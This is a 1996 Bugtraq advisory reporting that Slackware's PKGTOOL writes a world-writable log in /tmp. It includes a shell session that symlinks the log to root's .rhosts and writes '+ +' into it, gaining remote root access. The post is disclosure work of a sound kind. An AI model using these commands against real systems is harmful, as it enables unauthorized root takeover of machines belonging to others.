Bugtraq mailing list archives
[BUG] Vulnerability in PKGTOOL
From: hamors () LITTERBOX ORG (Sean B. Hamor)
Date: Mon, 26 Aug 1996 21:22:49 -0400
-----BEGIN PGP SIGNED MESSAGE----- Monday, August 26, 1996 The Litterbox Sean B. Hamor PKGTOOL Note: I'm not sure whether or not information this has been previously released. I found this earlier this evening while poking around, and apologize if I've just found an old bug. I verified the existence of this bug in PKGTOOL for Linux Slackware 3.0. My assumption would be that most other Linux distributions are effected as well. Synopsis: A problem exists in the way PKGTOOL handles the /tmp/PKGTOOL.REMOVED logfile. This logfile is created mode 666, which allows any user to write to it. Although this file is usually created the first time PKGTOOL is run and can't be removed by normal users, a problem develops if root or the owner of the logfile deletes it for some reason or if PKGTOOL has never been run before. Exploit: If /tmp/PKGTOOL.REMOVED gets deleted or hasn't been created yet, any user can now create a symbolic link from /tmp/PKGTOOL.REMOVED to ~root/.rhosts (for a generic example). The next time PKGTOOL is run, which will more than likely be run by root, ~root/.rhosts will be created as a 666 file with the logs from PKGTOOL as its contents. One may now simply do an echo "+ +" > /tmp/PKGTOOL.REMOVED, then rm /tmp/PKGTOOL.REMOVED. For this example, root is the victim while hamors is the attacker: hamors (2 20:57) litterbox:/tmp> ls -al | grep PKG - -rw-rw-rw- 1 root root 16584 Aug 26 18:07 PKGTOOL.REMOVED.backup hamors (3 21:00) litterbox:/tmp> ln -s ~root/.rhosts PKGTOOL.REMOVED hamors (4 20:58) litterbox:/tmp> cat PKGTOOL.REMOVED cat: PKGTOOL.REMOVED: No such file or directory God (17 20:59) litterbox:~# pkgtool root now uses PKGTOOL to delete a package hamors (5 DING!) litterbox:/tmp> head PKGTOOL.REMOVED Removing package tcl: Removing files: ... hamors (6 21:00) litterbox:/tmp> echo "+ +" > PKGTOOL.REMOVED hamors (7 21:00) litterbox:/tmp> cat ~root/.rhosts + + Verification: This vulnerability has been tested on Linux Slackware 3.0 with the stock installed PKGTOOL. EOF Finger hamors () ishiboo com /\_/\ mailto:hamors () litterbox org for PGP public key block. ( o.o ) http://www.ishiboo.com/~hamors/ alt.litterbox, The Home of TOCA > ^ < http://www.litterbox.org/~hamors/ Hi! I'm a .signature virus! Add me to your .signature and join in the fun! -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBMiJN7zU6HlxZIJ+FAQE7NAf9E5P4vobbqztG9U/dlV85EveNOm0y5g8y YP+2IAgOp4kV1CPrNYgVPNLu06xwycrI/fYyF5EZNOvL/UEYYp+OvpRXk23Z7du9 6nQ7rzF7yPoo+mL5nauXTNQArRvYTHktXQejgApKQNr7XdzwRGL64Q/Y0NH+C9P+ AtxehPQk+7dXWMOX2jeFwkX11DQ9urU/SEWvoJEuv2qV4/aaIHBLrEGs4xkxHPzk xtPKJGb05qIoZ6kuibLnfE6rElIYbaDbYmXhX7hnzymPa8gPJv/J0UHuXBg0Qj2o D8+FeJC6ZMJL9V6/ERw4BfcaYwO5TGuVm5+Ui/9g1OZ9xrXppxNt9Q== =Ujhw -----END PGP SIGNATURE-----
Current thread:
- [BUG] Vulnerability in PKGTOOL Sean B. Hamor (Aug 26)
- Re: [BUG] Vulnerability in PKGTOOL Paul Nash (Aug 27)
- rlogin bug and buffer overflow thoughts Laslo Orto (Aug 28)
- <Possible follow-ups>
- Re: [BUG] Vulnerability in PKGTOOL Jonathan Larmour (Aug 27)
- Re: [BUG] Vulnerability in PKGTOOL Paul Nash (Aug 27)